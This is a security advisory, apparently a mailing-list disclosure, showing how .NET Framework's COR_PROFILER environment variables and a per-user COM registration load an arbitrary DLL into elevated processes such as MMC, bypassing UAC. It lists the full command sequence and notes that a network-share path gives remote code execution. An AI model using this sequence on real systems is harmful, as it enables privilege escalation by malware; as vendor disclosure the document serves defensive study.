Hi @ll, all versions of .NET Framework support to load a COM object as code profiler, enabled via two or three environment variables. >From <https://msdn.microsoft.com/en-us/library/bb384393.aspx> | A profiler DLL is an unmanaged DLL that runs as part of the | common language runtime execution engine. As a result, the code | in the profiler DLL is not subject to the restrictions of managed | code access security. The only limitations on the profiler DLL are | those imposed by the operating system on the user who is running | the profiled application. >From <https://msdn.microsoft.com/en-us/library/bb384689.aspx>: | When both environment variable checks pass, the CLR creates an | instance of the profiler in a similar manner to the COM | CoCreateInstance function. The profiler is not loaded through a | direct call to CoCreateInstance. Therefore, a call to CoInitialize, | which requires setting the threading model, is avoided. >From <https://msdn.microsoft.com/en-us/library/bb756926.aspx>: | Beginning with Windows Vista(r) and Windows Server(r) 2008, if the | integrity level of a process is higher than Medium, the COM | runtime ignores per-user COM configuration and accesses only | per-machine COM configuration. This action reduces the surface | area for elevation of privilege attacks, preventing a process | with standard user privileges from configuring a COM object with | arbitrary code and having this code called from an elevated process. Let's see how "similar" .NET Framework's manners are: 0. logon to the user account created during Windows setup; 1. fetch <https://skanthak.homepage.t-online.de/download/SENTINEL.CAB> and store it in an arbitrary directory, for example "%USERPROFILE%\Downloads"; 2. start an UNPRIVILEGED command prompt in this directory and run the following command lines to 2.a) unpack I386\SENTINEL.DLL, AMD64\SENTINEL.DLL and IA64\SENTINEL.DLL from SENTINEL.CAB to the current directory: EXPAND.EXE /R SENTINEL.CAB /F:*.DLL "%CD%" 2.b) set the environment variables: SET COR_ENABLE_PROFILING=1 SET COR_PROFILER={32E2F4DA-1BEA-47EA-88F9-C5DAF691C94A} JFTR: the CLSID doesn't matter, use any CLSID you like! 2.c) register SENTINEL.DLL as per-user COM object: SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\%COR_PROFILER%\InProcServer32 IF %PROCESSOR_ARCHITECTURE% == x86 ( REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\I386\SENTINEL.DLL" /F REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F ) ELSE ( REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\%PROCESSOR_ARCHITECTURE%\SENTINEL.DLL" /F REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\%COR_PROFILER%\InProcServer32 REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\I386\SENTINEL.DLL" /F REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F ) SET KEY= JFTR: registration is only necessary for targets using .NET Framework before version 4; from version 4 onward, the following command can be used instead SET COR_PROFILER_PATH=%CD%\%PROCESSOR_ARCHITECTURE%\SENTINEL.DLL 2.d) start PowerShell or any other .NET application: POWERSHELL.EXE Notice the message boxes displayed from SENTINEL.DLL: PWNED! 2.e) start the Microsoft Management Console: START MMC.EXE SECPOL.MSC START MMC.EXE EVENTVWR.MSC Notice the message boxes displayed from SENTINEL.DLL running with integrity level HIGH: PWNED! JFTR: to achieve remote code execution with elevation of privilege instead of local code execution with elevation of privilege place the "profiler" DLL on an arbitrary network share and use its UNC path instead of the local path. Now compare this behavior to the "Manifestation" stated on <https://msdn.microsoft.com/en-us/library/bb756926.aspx>: | Applications that are run-elevated (whether manifested as Require | Administrator or user-selected by right-clicking and selecting | Run as Administrator), as well as applications run from an account | that is a member of the Administrators group where User Account | Control (UAC) is disabled, will not be able to access any COM objects | configured per-user. Also don't forget (unlike the .NET developers) to read <https://blogs.msdn.microsoft.com/vistacompatteam/2006/10/17/per-user-com-on-vista-for-elevated-token-processes/> <https://blogs.msdn.microsoft.com/cjacks/2007/02/21/per-user-com-registrations-and-elevated-processes-with-uac-on-windows-vista/> <https://blogs.msdn.microsoft.com/cjacks/2008/06/06/per-user-com-registrations-and-elevated-processes-with-uac-on-windows-vista-sp1/ > <https://blogs.msdn.microsoft.com/cjacks/2008/07/22/per-user-com-registrations-and-elevated-processes-with-uac-on-windows-vista-sp1- part-2-ole-automation/> Mitigations: ~~~~~~~~~~~~ * dump .NET Framework and all applications that use it! * dump UAC! * use STRICT privilege separation! stay tuned Stefan Kanthak Timeline: ~~~~~~~~~ 2017-06-23 vulnerability report sent to vendor 2017-06-23 reply from vendor: "MSRC case 39303 opened" 2017-07-05 reply from vendor: "UAC is not a security boundary. As such, this does not meet the bar for an explicit down level fix." 2017-07-05 report published